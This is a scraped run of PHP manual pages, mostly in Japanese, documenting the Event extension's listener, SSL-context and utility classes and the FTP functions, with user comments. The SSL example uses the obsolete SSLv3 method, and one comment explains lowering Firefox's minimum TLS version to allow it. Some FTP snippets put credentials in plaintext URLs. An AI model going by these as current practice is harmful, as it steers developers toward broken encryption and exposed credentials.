class MyListener {
    public $base,
        $listener,
        $socket;
    private $conn = array();

    public function __destruct() {
        foreach ($this->conn as &$c) $c = NULL;
    }

    public function __construct($port) {
        $this->base = new EventBase();
        if (!$this->base) {
            echo "Couldn't open event base";
            exit(1);
        }

        // Variant #1
        /*
        $this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        if (!socket_bind($this->socket, '0.0.0.0', $port)) {
            echo "Unable to bind socket\n";
            exit(1);
        }
        $this->listener = new EventListener($this->base,
            array($this, "acceptConnCallback"), $this->base,
            EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
            -1, $this->socket);
         */

        // Variant #2
         $this->listener = new EventListener($this->base,
             array($this, "acceptConnCallback"), $this->base,
             EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE, -1,
             "0.0.0.0:$port");

        if (!$this->listener) {
            echo "Couldn't create listener";
            exit(1);
        }

        $this->listener->setErrorCallback(array($this, "accept_error_cb"));
    }

    public function dispatch() {
        $this->base->dispatch();
    }

    // This callback is invoked when there is data to read on $bev
    public function acceptConnCallback($listener, $fd, $address, $ctx) {
        // We got a new connection! Set up a bufferevent for it. */
        $base = $this->base;
        $this->conn[] = new MyListenerConnection($base, $fd);
    }

    public function accept_error_cb($listener, $ctx) {
        $base = $this->base;

        fprintf(STDERR, "Got an error %d (%s) on the listener. "
            ."Shutting down.\n",
            EventUtil::getLastSocketErrno(),
            EventUtil::getLastSocketError());

        $base->exit(NULL);
    }
}

$port = 9808;

if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port");
}

$l = new MyListener($port);
$l->dispatch();
?>

User Contributed Notes

info-phpnet at ch2o dot info 11-Nov-2014 02:04
Warning EventListener::OPT_CLOSE_ON_FREE is forced when you transmit a "target" string.

The only way to not set EventListener::OPT_CLOSE_ON_FREE is to bind the socket before creating EventListener and use this socekt as "target".


Disables an event connect listener object

  • ≪ EventListener::__construct
  • EventListener::enable ≫
  • PHP Manual
  • EventListener
  • Disables an event connect listener object

EventListener::disable

(PECL event >= 1.2.6-beta)

EventListener::disable — Disables an event connect listener object

説明

public EventListener::disable ( ) : bool

Disables an event connect listener object

パラメータ

この関数にはパラメータはありません。

返り値

Returns true on success. Otherwise false.

参考

  • EventListener::enable() - Enables an event connect listener object

User Contributed Notes

There are no user contributed notes for this page.


Enables an event connect listener object

  • ≪ EventListener::disable
  • EventListener::getBase ≫
  • PHP Manual
  • EventListener
  • Enables an event connect listener object

EventListener::enable

(PECL event >= 1.2.6-beta)

EventListener::enable — Enables an event connect listener object

説明

public EventListener::enable ( ) : bool

Enables an event connect listener object

パラメータ

この関数にはパラメータはありません。

返り値

Returns true on success. Otherwise false.

参考

  • EventListener::disable() - Disables an event connect listener object

User Contributed Notes

There are no user contributed notes for this page.


Returns event base associated with the event listener

  • ≪ EventListener::enable
  • EventListener::getSocketName ≫
  • PHP Manual
  • EventListener
  • Returns event base associated with the event listener

EventListener::getBase

(PECL event >= 1.2.6-beta)

EventListener::getBase — Returns event base associated with the event listener

説明

public EventListener::getBase ( ) : void

Returns event base associated with the event listener.

パラメータ

この関数にはパラメータはありません。

返り値

Returns event base associated with the event listener.

User Contributed Notes

There are no user contributed notes for this page.


Retreives the current address to which the listener's socket is bound

  • ≪ EventListener::getBase
  • EventListener::setCallback ≫
  • PHP Manual
  • EventListener
  • Retreives the current address to which the listener's socket is bound

EventListener::getSocketName

(PECL event >= 1.5.0)

EventListener::getSocketName — Retreives the current address to which the listener's socket is bound

説明

public static EventListener::getSocketName ( string &$address , mixed &$port = ? ) : bool

Retreives the current address to which the listener's socket is bound.

パラメータ

address

Output parameter. IP-address depending on the socket address family.

port

Output parameter. The port the socket is bound to.

返り値

Returns true on success. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


The setCallback purpose

  • ≪ EventListener::getSocketName
  • EventListener::setErrorCallback ≫
  • PHP Manual
  • EventListener
  • The setCallback purpose

EventListener::setCallback

(PECL event >= 1.2.6-beta)

EventListener::setCallback — The setCallback purpose

説明

public EventListener::setCallback ( callable $cb , mixed $arg = null ) : void

Adjust event connect listener's callback and optionally the callback argument.

パラメータ

cb

The new callback for new connections. Ignored if null.

Should match the following prototype:

callback ( EventListener $listener = null , mixed $fd = null , array $address = null , mixed $arg = null ) : void

listener

The EventListener object.

fd

The file descriptor or a resource associated with the listener.

address

Array of two elements: IP address and the server port.

arg

User custom data attached to the callback.

arg

Custom user data attached to the callback. Ignored if null.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Set event listener's error callback

  • ≪ EventListener::setCallback
  • EventSslContext ≫
  • PHP Manual
  • EventListener
  • Set event listener's error callback

EventListener::setErrorCallback

(PECL event >= 1.2.6-beta)

EventListener::setErrorCallback — Set event listener's error callback

説明

public EventListener::setErrorCallback ( string $cb ) : void

Set event listener's error callback

パラメータ

cb

The error callback. Should match the following prototype:

callback ( EventListener $listener = null , mixed $data = null ) : void

listener

The EventListener object.

data

User custom data attached to the callback.

返り値

参考

  • EventListener::setCallback() - The setCallback purpose

User Contributed Notes

There are no user contributed notes for this page.


The EventSslContext class

(PECL event >= 1.2.6-beta)

はじめに

Represents SSL_CTX structure. Provides methods and properties to configure the SSL context.

クラス概要

final EventSslContext {
/* Constants */
const int SSLv2_CLIENT_METHOD = 1 ;
const int SSLv3_CLIENT_METHOD = 2 ;
const int SSLv23_CLIENT_METHOD = 3 ;
const int TLS_CLIENT_METHOD = 4 ;
const int SSLv2_SERVER_METHOD = 5 ;
const int SSLv3_SERVER_METHOD = 6 ;
const int SSLv23_SERVER_METHOD = 7 ;
const int TLS_SERVER_METHOD = 8 ;
const int OPT_LOCAL_CERT = 1 ;
const int OPT_LOCAL_PK = 2 ;
const int OPT_PASSPHRASE = 3 ;
const int OPT_CA_FILE = 4 ;
const int OPT_CA_PATH = 5 ;
const int OPT_ALLOW_SELF_SIGNED = 6 ;
const int OPT_VERIFY_PEER = 7 ;
const int OPT_VERIFY_DEPTH = 8 ;
const int OPT_CIPHERS = 9 ;
/* プロパティ */
public string $local_cert ;
public string $local_pk ;
/* メソッド */
public __construct ( string $method , string $options )
}

プロパティ

local_cert

Path to local certificate file on filesystem. It must be a PEM-encoded file which contains certificate. It can optionally contain the certificate chain of issuers.

local_pk

Path to local private key file

定義済み定数

EventSslContext::SSLv2_CLIENT_METHOD

SSLv2 client method. See SSL_CTX_new(3) man page.

EventSslContext::SSLv3_CLIENT_METHOD

SSLv3 client method. See SSL_CTX_new(3) man page.

EventSslContext::SSLv23_CLIENT_METHOD

SSLv23 client method. See SSL_CTX_new(3) man page.

EventSslContext::TLS_CLIENT_METHOD

TLS client method. See SSL_CTX_new(3) man page.

EventSslContext::SSLv2_SERVER_METHOD

SSLv2 server method. See SSL_CTX_new(3) man page.

EventSslContext::SSLv3_SERVER_METHOD

SSLv3 server method. See SSL_CTX_new(3) man page.

EventSslContext::SSLv23_SERVER_METHOD

SSLv23 server method. See SSL_CTX_new(3) man page.

EventSslContext::TLS_SERVER_METHOD

TLS server method. See SSL_CTX_new(3) man page.

EventSslContext::OPT_LOCAL_CERT

Key for an item of the options' array used in EventSslContext::__construct() . The option points to path of local certificate.

EventSslContext::OPT_LOCAL_PK

Key for an item of the options' array used in EventSslContext::__construct() . The option points to path of the private key.

EventSslContext::OPT_PASSPHRASE

Key for an item of the options' array used in EventSslContext::__construct() . Represents passphrase of the certificate.

EventSslContext::OPT_CA_FILE

Key for an item of the options' array used in EventSslContext::__construct() . Represents path of the certificate authority file.

EventSslContext::OPT_CA_PATH

Key for an item of the options' array used in EventSslContext::__construct() . Represents path where the certificate authority file should be searched for.

EventSslContext::OPT_ALLOW_SELF_SIGNED

Key for an item of the options' array used in EventSslContext::__construct() . Represents option that allows self-signed certificates.

EventSslContext::OPT_VERIFY_PEER

Key for an item of the options' array used in EventSslContext::__construct() . Represents option that tells Event to verify peer.

EventSslContext::OPT_VERIFY_DEPTH

Key for an item of the options' array used in EventSslContext::__construct() . Represents maximum depth for the certificate chain verification that shall be allowed for the SSL context.

EventSslContext::OPT_CIPHERS

Key for an item of the options' array used in EventSslContext::__construct() . Represents the cipher list for the SSL context.

目次

  • EventSslContext::__construct — Constructs an OpenSSL context for use with Event classes

User Contributed Notes

Bas Vijfwinkel 26-Jun-2015 09:29
The context SSLv3_SERVER_METHOD is being actively blocked by Firefox but TLS_SERVER_METHOD works without that warning screen.
If you do want to use/test the SSLv3_SERVER_METHOD context, you can disable the check in Firefox by going to about:config and set 'security.tls.version.min' to 0.


Constructs an OpenSSL context for use with Event classes

  • ≪ EventSslContext
  • EventUtil ≫
  • PHP Manual
  • EventSslContext
  • Constructs an OpenSSL context for use with Event classes

EventSslContext::__construct

(PECL event >= 1.2.6-beta)

EventSslContext::__construct — Constructs an OpenSSL context for use with Event classes

説明

public EventSslContext::__construct ( string $method , string $options )

Creates SSL context holding pointer to SSL_CTX (see the system manual).

パラメータ

method

One of EventSslContext::*_METHOD constants .

options

Associative array of SSL context options One of EventSslContext::OPT_* constants .

返り値

Returns EventSslContext object.

例

例1 EventSslContext::__construct() example

<?php
$ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, array(
     EventSslContext::OPT_LOCAL_CERT        => $local_cert,
     EventSslContext::OPT_LOCAL_PK          => $local_pk,
     EventSslContext::OPT_PASSPHRASE        => "echo server",
     EventSslContext::OPT_VERIFY_PEER       => true,
     EventSslContext::OPT_ALLOW_SELF_SIGNED => false,
));
?>

User Contributed Notes

There are no user contributed notes for this page.


The EventUtil class

(PECL event >= 1.5.0)

はじめに

EventUtil is a singleton with supplimentary methods and constants.

クラス概要

final EventUtil {
/* Constants */
const int AF_INET = 2 ;
const int AF_INET6 = 10 ;
const int AF_UNSPEC = 0 ;
const int LIBEVENT_VERSION_NUMBER = 33559808 ;
const int SO_DEBUG = 1 ;
const int SO_REUSEADDR = 2 ;
const int SO_KEEPALIVE = 9 ;
const int SO_DONTROUTE = 5 ;
const int SO_LINGER = 13 ;
const int SO_BROADCAST = 6 ;
const int SO_OOBINLINE = 10 ;
const int SO_SNDBUF = 7 ;
const int SO_RCVBUF = 8 ;
const int SO_SNDLOWAT = 19 ;
const int SO_RCVLOWAT = 18 ;
const int SO_SNDTIMEO = 21 ;
const int SO_RCVTIMEO = 20 ;
const int SO_TYPE = 3 ;
const int SO_ERROR = 4 ;
const int SOL_SOCKET = 1 ;
const int SOL_TCP = 6 ;
const int SOL_UDP = 17 ;
const int IPPROTO_IP = 0 ;
const int IPPROTO_IPV6 = 41 ;
/* メソッド */
abstract public __construct ( )
public static getLastSocketErrno ( mixed $socket = null ) : int
public static getLastSocketError ( mixed $socket = ? ) : string
public static getSocketFd ( mixed $socket ) : int
public static getSocketName ( mixed $socket , string &$address , mixed &$port = ? ) : bool
public static setSocketOption ( mixed $socket , int $level , int $optname , mixed $optval ) : bool
public static sslRandPoll ( ) : void
}

定義済み定数

EventUtil::AF_INET

IPv4 address family

EventUtil::AF_INET6

IPv6 address family

EventUtil::AF_UNSPEC

Unspecified IP address family

EventUtil::SO_DEBUG

Socket option. Enable socket debugging. Only allowed for processes with the CAP_NET_ADMIN capability or an effective user ID of 0 . (Added in event-1.6.0.)

EventUtil::SO_REUSEADDR

Socket option. Indicates that the rules used in validating addresses supplied in a bind(2) call should allow reuse of local addresses. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_KEEPALIVE

Socket option. Enable sending of keep-alive messages on connection-oriented sockets. Expects an integer boolean flag. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_DONTROUTE

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_LINGER

Socket option. When enabled, a close(2) or shutdown(2) will not return until all queued messages for the socket have been successfully sent or the linger timeout has been reached. Otherwise, the call returns immediately and the closing is done in the background. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_BROADCAST

Socket option. Reports whether transmission of broadcast messages is supported. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_OOBINLINE

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_SNDBUF

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_RCVBUF

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_SNDLOWAT

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_RCVLOWAT

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_SNDTIMEO

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_RCVTIMEO

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_TYPE

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SO_ERROR

Socket option. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SOL_SOCKET

Socket option level. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SOL_TCP

Socket option level. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::SOL_UDP

Socket option level. See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::IPPROTO_IP

See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::IPPROTO_IPV6

See the socket(7) manual page. (Added in event-1.6.0.)

EventUtil::LIBEVENT_VERSION_NUMBER

Libevent' version number at the time when Event extension had been compiled with the library.

目次

  • EventUtil::__construct — The abstract constructor
  • EventUtil::getLastSocketErrno — Returns the most recent socket error number
  • EventUtil::getLastSocketError — Returns the most recent socket error
  • EventUtil::getSocketFd — Returns numeric file descriptor of a socket, or stream
  • EventUtil::getSocketName — Retreives the current address to which the socket is bound
  • EventUtil::setSocketOption — Sets socket options
  • EventUtil::sslRandPoll — Generates entropy by means of OpenSSL's RAND_poll()

User Contributed Notes

There are no user contributed notes for this page.


The abstract constructor

  • ≪ EventUtil
  • EventUtil::getLastSocketErrno ≫
  • PHP Manual
  • EventUtil
  • The abstract constructor

EventUtil::__construct

(PECL event >= 1.2.6-beta)

EventUtil::__construct — The abstract constructor

説明

abstract public EventUtil::__construct ( )

EventUtil is a singleton. Therefore the constructor is abstract, and it is impossible to create objects based on this class.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Returns the most recent socket error number

  • ≪ EventUtil::__construct
  • EventUtil::getLastSocketError ≫
  • PHP Manual
  • EventUtil
  • Returns the most recent socket error number

EventUtil::getLastSocketErrno

(PECL event >= 1.2.6-beta)

EventUtil::getLastSocketErrno — Returns the most recent socket error number

説明

public static EventUtil::getLastSocketErrno ( mixed $socket = null ) : int

Returns the most recent socket error number( errno ).

パラメータ

socket

Socket resource, stream or a file descriptor of a socket.

返り値

Returns the most recent socket error number( errno ).

参考

  • EventUtil::getLastSocketError() - Returns the most recent socket error

User Contributed Notes

There are no user contributed notes for this page.


Returns the most recent socket error

  • ≪ EventUtil::getLastSocketErrno
  • EventUtil::getSocketFd ≫
  • PHP Manual
  • EventUtil
  • Returns the most recent socket error

EventUtil::getLastSocketError

(PECL event >= 1.2.6-beta)

EventUtil::getLastSocketError — Returns the most recent socket error

説明

public static EventUtil::getLastSocketError ( mixed $socket = ? ) : string

Returns the most recent socket error.

パラメータ

socket

Socket resource, stream or a file descriptor of a socket.

返り値

Returns the most recent socket error.

参考

  • EventUtil::getLastSocketErrno() - Returns the most recent socket error number

User Contributed Notes

There are no user contributed notes for this page.


Returns numeric file descriptor of a socket, or stream

  • ≪ EventUtil::getLastSocketError
  • EventUtil::getSocketName ≫
  • PHP Manual
  • EventUtil
  • Returns numeric file descriptor of a socket, or stream

EventUtil::getSocketFd

(PECL event >= 1.7.0)

EventUtil::getSocketFd — Returns numeric file descriptor of a socket, or stream

説明

public static EventUtil::getSocketFd ( mixed $socket ) : int

Returns numeric file descriptor of a socket or stream specified by socket argument just like the Event extension does it internally for all methods accepting socket resource or stream.

パラメータ

socket

Socket resource or stream.

返り値

Returns numeric file descriptor of a socket, or stream. EventUtil::getSocketFd() returns false in case if it is whether failed to recognize the type of the underlying file, or detected that the file descriptor associated with socket is not valid.

User Contributed Notes

There are no user contributed notes for this page.


Retreives the current address to which the socket is bound

  • ≪ EventUtil::getSocketFd
  • EventUtil::setSocketOption ≫
  • PHP Manual
  • EventUtil
  • Retreives the current address to which the socket is bound

EventUtil::getSocketName

(PECL event >= 1.5.0)

EventUtil::getSocketName — Retreives the current address to which the socket is bound

説明

public static EventUtil::getSocketName ( mixed $socket , string &$address , mixed &$port = ? ) : bool

Retreives the current address to which the socket is bound.

パラメータ

socket

Socket resource, stream or a file descriptor of a socket.

address

Output parameter. IP-address, or the UNIX domain socket path depending on the socket address family.

port

Output parameter. The port the socket is bound to. Has no meaning for UNIX domain sockets.

返り値

Returns true on success. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


Sets socket options

  • ≪ EventUtil::getSocketName
  • EventUtil::sslRandPoll ≫
  • PHP Manual
  • EventUtil
  • Sets socket options

EventUtil::setSocketOption

(PECL event >= 1.6.0)

EventUtil::setSocketOption — Sets socket options

説明

public static EventUtil::setSocketOption ( mixed $socket , int $level , int $optname , mixed $optval ) : bool

Sets socket options.

パラメータ

socket

Socket resource, stream, or numeric file descriptor associated with the socket.

level

One of EventUtil::SOL_* constants. Specifies the protocol level at which the option resides. For example, to retrieve options at the socket level, a level parameter of EventUtil::SOL_SOCKET would be used. Other levels, such as TCP, can be used by specifying the protocol number of that level. Protocol numbers can be found by using the getprotobyname() function. See EventUtil constants .

optname

Option name(type). Has the same meaning as corresponding parameter of socket_get_option() function. See EventUtil constants .

optval

Accepts the same values as optval parameter of the socket_get_option() function.

返り値

Returns true on success. Otherwise false.

参考

  • socket_get_option() - ソケットのオプションを取得する
  • socket_set_option() - ソケットのオプションを設定する

User Contributed Notes

There are no user contributed notes for this page.


Generates entropy by means of OpenSSL's RAND_poll()

  • ≪ EventUtil::setSocketOption
  • FTP ≫
  • PHP Manual
  • EventUtil
  • Generates entropy by means of OpenSSL's RAND_poll()

EventUtil::sslRandPoll

(PECL event >= 1.2.6-beta)

EventUtil::sslRandPoll — Generates entropy by means of OpenSSL's RAND_poll()

説明

public static EventUtil::sslRandPoll ( ) : void

Generates entropy by means of OpenSSL's RAND_poll() (see the system manual).

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


FTP

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • 基本的な使用法
  • FTP 関数
    • ftp_alloc — アップロードされるファイルのためのスペースを確保する
    • ftp_append — ファイルの内容をFTPサーバ上の別のファイルに追加する
    • ftp_cdup — 親ディレクトリに移動する
    • ftp_chdir — FTP サーバー上でディレクトリを移動する
    • ftp_chmod — FTP 経由でファイルのパーミッションを設定する
    • ftp_close — FTP 接続を閉じる
    • ftp_connect — FTP 接続をオープンする
    • ftp_delete — FTP サーバー上のファイルを削除する
    • ftp_exec — FTP サーバー上でのコマンドの実行をリクエストする
    • ftp_fget — FTP サーバーからファイルをダウンロードし、オープン中のファイルに保存する
    • ftp_fput — オープン中のファイルを FTP サーバーにアップロードする
    • ftp_get_option — カレント FTP ストリームでの種々の実行時動作を取得する
    • ftp_get — FTP サーバーからファイルをダウンロードする
    • ftp_login — FTP 接続にログインする
    • ftp_mdtm — 指定したファイルが最後に更新された時刻を返す
    • ftp_mkdir — ディレクトリを作成する
    • ftp_mlsd — ディレクトリに存在するファイルの一覧を返す
    • ftp_nb_continue — ファイルの取得/送信を継続する（非ブロッキング）
    • ftp_nb_fget — FTP サーバーからファイルをダウンロードし、オープン中のファイルに保存する（非ブロッキング）
    • ftp_nb_fput — オープン中のファイルを FTP サーバーに保存する（非ブロッキング）
    • ftp_nb_get — FTP サーバーからファイルを取得し、ローカルファイルに書き込む（非ブロッキング）
    • ftp_nb_put — FTP サーバーにファイルを保存する（非ブロッキング）
    • ftp_nlist — 指定したディレクトリのファイルの一覧を返す
    • ftp_pasv — パッシブモードをオンまたはオフにする
    • ftp_put — FTP サーバーにファイルをアップロードする
    • ftp_pwd — カレントのディレクトリ名を返す
    • ftp_quit — ftp_close のエイリアス
    • ftp_raw — FTP サーバーに任意のコマンドを送信する
    • ftp_rawlist — 指定したディレクトリの詳細なファイル一覧を返す
    • ftp_rename — FTP サーバー上のファイルまたはディレクトリの名前を変更する
    • ftp_rmdir — ディレクトリを削除する
    • ftp_set_option — さまざまな FTP 実行時オプションを設定する
    • ftp_site — SITEコマンドをサーバーに送信する
    • ftp_size — 指定したファイルのサイズを返す
    • ftp_ssl_connect — セキュアな SSL-FTP 接続をオープンする
    • ftp_systype — リモート FTP サーバーのシステム型 ID を返す

User Contributed Notes

mser at netweave dot com 10-Apr-2015 04:39
syntax error in the above example, ftp_nlist requires a directory parameter:

$ftp->ftp_nlist('.');   // retrieve contents of current directory
rob at signalfire dot co dot uk 17-Jan-2014 09:56
In example 2 above you may need to set the system to to use pasv to get a result ie:

$ftp = new ftp('ftp.example.com');
$ftp->ftp_login('username','password');
$ftp->ftp_pasv(TRUE);
var_dump($ftp->ftp_nlist());
boris dot hocde at gmail dot com 01-Aug-2013 10:21
Think about using the ftp:// wrapper for simple manipulations (getting or storing a single file).

<?php
$content = file_get_contents('ftp://login:password@server/directory/file.txt');
copy('local_file.txt', 'ftp://login:password@server/directory/new_file.txt');
?>

Same kind of mistake: using cURL to get the content of a public URL...
asifkhandk at gmail dot com 24-Feb-2013 05:19
Upload file to server via ftp.

<?php
$ftp_server="";
 $ftp_user_name="";
 $ftp_user_pass="";
 $file = "";//tobe uploaded
 $remote_file = "";

 // set up basic connection
 $conn_id = ftp_connect($ftp_server);

 // login with username and password
 $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

 // upload a file
 if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
    echo "successfully uploaded $file\n";
    exit;
 } else {
    echo "There was a problem while uploading $file\n";
    exit;
    }
 // close the connection
 ftp_close($conn_id);
?>
tendrid at gmail dot com 21-Sep-2011 09:15
For those who dont want to deal with handling the connection once created, here is a simple class that allows you to call any ftp function as if it were an extended method.  It automatically puts the ftp connection into the first argument slot (as all ftp functions require).

This code is php 5.3+

<?php
class ftp{
    public $conn;

    public function __construct($url){
        $this->conn = ftp_connect($url);
    }

    public function __call($func,$a){
        if(strstr($func,'ftp_') !== false && function_exists($func)){
            array_unshift($a,$this->conn);
            return call_user_func_array($func,$a);
        }else{
            // replace with your own error handler.
            die("$func is not a valid FTP function");
        }
    }
}

// Example
$ftp = new ftp('ftp.example.com');
$ftp->ftp_login('username','password');
var_dump($ftp->ftp_nlist());
?>


はじめに

この拡張モジュールの関数は、» http://www.faqs.org/rfcs/rfc959 で定義された File Transfer Protocol (FTP) を使用してファイルサーバーに アクセスするクライアントの実装です。この拡張を利用することで、FTP サーバーにアクセスしてさまざまな操作をするスクリプトを作成することができます。 ただ単に FTP サーバー上のファイルを読み書きしたいだけなら、 ファイルシステム関数 で ftp:// ラッパー を用いることを考えてください。こちらのほうがシンプルで直感的な インターフェイスを提供します。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHP で FTP 関数を使用するには、PHP をインストールする際に --enable-ftp オプションを追加する必要があります。

Windows 版の PHP 5 には、この拡張モジュールが標準で組み込まれています。 追加のモジュールを読み込まなくても、これらの関数を使えます。

Windows 版の PHP 7.0.0 以降は、この拡張モジュールが共有モジュールとしてビルドされるようになりました。 これらの関数を使うには、php.ini でモジュールを有効にする必要があります。

User Contributed Notes

i_djon at hotmail dot com 19-Sep-2017 10:57
For some reason folks downvoted the previous entry for this, BUT... indeed, as of PHP 7, to enable this on Windows you have to add the line:

extension=php_ftp.dll

to your php.ini to resolve PHP errors that tell you PHP FTP functions are not defined; the line isn't in there (where, many things are and are just commented out).
jacob at power9 dot pw 29-May-2017 04:58
On linux, one would enable ftp on their php7 server by uncommenting or adding the line "extension=ftp.so" in their php.ini file (likely at /etc/php/php.ini, unless the user moved it).
julian_de_vries at gmx dot de 18-Mar-2016 09:20
If you are using PHP 7 under Windows you have to enable ftp in php.ini with extension=php_ftp.dll.


リソース型

この拡張モジュールは、1 種類のリソース型を使用します。これは FTP 接続のリソース ID で、ftp_connect() あるいは ftp_ssl_connect() により返されたものです。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

FTP_ASCII (int)

FTP_AUTOSEEK (int)

ftp_set_option() を参照してください。

FTP_AUTORESUME (int)

GET と PUT において、自動的に通信を再開する位置と、通信を開始する位置を自動で決定します。 (FTP_AUTOSEEK が有効な場合のみ機能します)

FTP_FAILED (int)

非同期転送が失敗したことを示します。

FTP_FINISHED (int)

非同期転送が終了したことを示します。

FTP_MOREDATA (int)

非同期転送がまだ生きていることを示します。

FTP_TEXT (int)

FTP_ASCII のエイリアスです。

FTP_BINARY (int)

FTP_IMAGE (int)

FTP_BINARY のエイリアスです。

FTP_TIMEOUT_SEC (int)

ftp_set_option() を参照してください。

FTP_USEPASVADDRESS (bool)

ftp_set_option() を参照してください。 PHP 5.6.0 以降で利用可能です。

User Contributed Notes

There are no user contributed notes for this page.


基本的な使用法

例1 FTP の例

<?php
// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// 接続できたか確認する
if ((!$conn_id) || (!$login_result)) {
    echo "FTP connection has failed!";
    echo "Attempted to connect to $ftp_server for user $ftp_user_name";
    exit;
} else {
    echo "Connected to $ftp_server, for user $ftp_user_name";
}

// ファイルをアップロードする
$upload = ftp_put($conn_id, $destination_file, $source_file, FTP_BINARY);

// アップロード状況を確認する
if (!$upload) {
    echo "FTP upload has failed!";
} else {
    echo "Uploaded $source_file to $ftp_server as $destination_file";
}

// FTP ストリームを閉じる
ftp_close($conn_id);
?>

User Contributed Notes

kane dot prajakta at gmail dot com 14-Jan-2010 02:53
I used following code successfully to connect to "lftp" server and see the complete dir listing.
also ftp_pasv($conn_id, true); trick works fine for lftp server :)

<?php
// set up basic connection
$ftp_server = "example.com";
$conn_id = ftp_ssl_connect($ftp_server);

// login with username and password
$ftp_user_name = "myuser";
$ftp_user_pass = "mypass";
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
ftp_pasv($conn_id, true);
// check connection
if ((!$conn_id) || (!$login_result)) {
        echo "FTP connection has failed!";
        echo "Attempted to connect to $ftp_server for user $ftp_user_name";
        exit;
    } else {
        echo "Connected to $ftp_server, for user $ftp_user_name";
    }

$buff = ftp_rawlist($conn_id, '.');
 var_dump($buff);
ftp_close($conn_id);
?>

Thanks ,
Prajakta
clemensroth2004 at yahoo dot de 08-Jul-2009 03:06
My FTP-Server always responded "bool(false)" instead of presenting me a directory-listing. I had to add
ftp_pasv($conn_id, true); right after the $login_result = ftp_login(...); line.
After that it just worked fine.


FTP 関数

目次

  • ftp_alloc — アップロードされるファイルのためのスペースを確保する
  • ftp_append — ファイルの内容をFTPサーバ上の別のファイルに追加する
  • ftp_cdup — 親ディレクトリに移動する
  • ftp_chdir — FTP サーバー上でディレクトリを移動する
  • ftp_chmod — FTP 経由でファイルのパーミッションを設定する
  • ftp_close — FTP 接続を閉じる
  • ftp_connect — FTP 接続をオープンする
  • ftp_delete — FTP サーバー上のファイルを削除する
  • ftp_exec — FTP サーバー上でのコマンドの実行をリクエストする
  • ftp_fget — FTP サーバーからファイルをダウンロードし、オープン中のファイルに保存する
  • ftp_fput — オープン中のファイルを FTP サーバーにアップロードする
  • ftp_get_option — カレント FTP ストリームでの種々の実行時動作を取得する
  • ftp_get — FTP サーバーからファイルをダウンロードする
  • ftp_login — FTP 接続にログインする
  • ftp_mdtm — 指定したファイルが最後に更新された時刻を返す
  • ftp_mkdir — ディレクトリを作成する
  • ftp_mlsd — ディレクトリに存在するファイルの一覧を返す
  • ftp_nb_continue — ファイルの取得/送信を継続する（非ブロッキング）
  • ftp_nb_fget — FTP サーバーからファイルをダウンロードし、オープン中のファイルに保存する（非ブロッキング）
  • ftp_nb_fput — オープン中のファイルを FTP サーバーに保存する（非ブロッキング）
  • ftp_nb_get — FTP サーバーからファイルを取得し、ローカルファイルに書き込む（非ブロッキング）
  • ftp_nb_put — FTP サーバーにファイルを保存する（非ブロッキング）
  • ftp_nlist — 指定したディレクトリのファイルの一覧を返す
  • ftp_pasv — パッシブモードをオンまたはオフにする
  • ftp_put — FTP サーバーにファイルをアップロードする
  • ftp_pwd — カレントのディレクトリ名を返す
  • ftp_quit — ftp_close のエイリアス
  • ftp_raw — FTP サーバーに任意のコマンドを送信する
  • ftp_rawlist — 指定したディレクトリの詳細なファイル一覧を返す
  • ftp_rename — FTP サーバー上のファイルまたはディレクトリの名前を変更する
  • ftp_rmdir — ディレクトリを削除する
  • ftp_set_option — さまざまな FTP 実行時オプションを設定する
  • ftp_site — SITEコマンドをサーバーに送信する
  • ftp_size — 指定したファイルのサイズを返す
  • ftp_ssl_connect — セキュアな SSL-FTP 接続をオープンする
  • ftp_systype — リモート FTP サーバーのシステム型 ID を返す

User Contributed Notes

spam at kacke dot de 28-Mar-2008 09:46
Here is a FTP-abstraction-class which supports the most commands.

Also it works on TLS, SSLv2 etc. by using stream_crypto_enable()

http://kacke.de/php_samples/source.php?f=ftp.cls.php

Many thanks to WEZ at this point after all the years :-)

Toppi
dot a dot@dot dot com 17-Sep-2007 08:49
